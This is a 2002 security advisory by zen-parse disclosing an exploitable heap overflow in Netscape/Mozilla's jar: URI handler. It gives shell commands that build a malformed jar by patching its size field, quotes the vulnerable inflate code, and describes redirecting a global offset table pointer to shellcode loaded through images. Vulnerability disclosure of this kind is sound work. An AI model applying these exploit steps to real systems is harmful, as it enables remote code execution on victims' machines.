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Netscape/Mozilla: Exploitable heap corruption via jar: URI handler.
From: zen-parse <zen-parse () gmx net>
Date: Fri, 15 Nov 2002 04:56:13 +1300 (NZDT)

The following is the text of an advisory (with a couple of typos fixed) 
that was sent to Netscape in early July.
(-rw-r--r--    1 root     root         3210 Jul  8 17:07 jar-writeup)

This was one a several vulnerabilities reported in Netscape/Mozilla over 
that period. (Others included the previously posted zero-width gif 
problem, and PNG vulnerabilities.)

This page shows that the bug was opened on 2002-07-15 18:54

(May not be accessible.)

I think 4 months is definately long enough to wait before disclosure.


Exploitable heap corruption via jar: URI handler.

Create a file, called test.gif with the following 6 'int's in it.


$ zip orig.jar test.gif
  adding: test.gif (deflated 17%)
$ unzip -v orig.jar
Archive:  orig.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
      24  Defl:N       20  17%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
      24               20  17%                            1 file
$ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar
$ unzip -v new.jar 
Archive:  new.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
       1  Defl:N       20 -1900%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
       1               20 -1900%                            1 file
$ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) representing the realsize, so
it works ok on this file. Actual exploit file was created with a hex 

In Netscape open:


The jar file is retrieved, the requested file is found...
584   //-- Read the item into memory
585   //   Inflate if necessary and save in mInflatedFileBuffer
586   //   for sequential reading.
587   //   (nsJAR needs the whole file in memory before passing it on)
588   char* buf = (char*)PR_Malloc(item->realsize);
589   if (!buf) return ZIP_ERR_MEMORY;
590   switch(item->compression)
591   {
592     case DEFLATED:
593       result = InflateItem(item, 0, buf);
594       break;
A buffer is allocated for storing the data. The realsize value is used for
the length. (Size 1 actually allocates 8 bytes, hence the padding.)
The buf is the passed to the inflater.
1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem* aItem, PRFileDesc* fOut,
1269                                    char* bigBuf )
as bigBuf. Some temporary storage is made, and a chunk of decompression done.
1382       {
1383         //-- copy inflated buffer to our big buffer
1384         // Assertion makes sure we don't overflow bigBuf
1385         PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize);
1386         char* copyStart = bigBuf + outpos;
1387         memcpy(copyStart, outbuf, ZIP_BUFLEN);
1388       } 
The assertion doesn't fire. It should probably be made into a normal 
check as

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is called, and a SEGV will occur
with while referencing the values 0xdeadbeef and 0xfee1600d.

If these are replaced with (address of a function pointer)-12 and (address
of user supplied code), when the function pointer is called, the user
supplied code will execute.

I have successfully changed the flow of control in tests, by overwriting
the function pointer for PR_Free in the global offset table of libsnpr4.so.

"Shellcode" can be supplied in a previously loaded image. (A large area
can be filled using compressed image files stored in a .jar as the source.)


-- zen-parse

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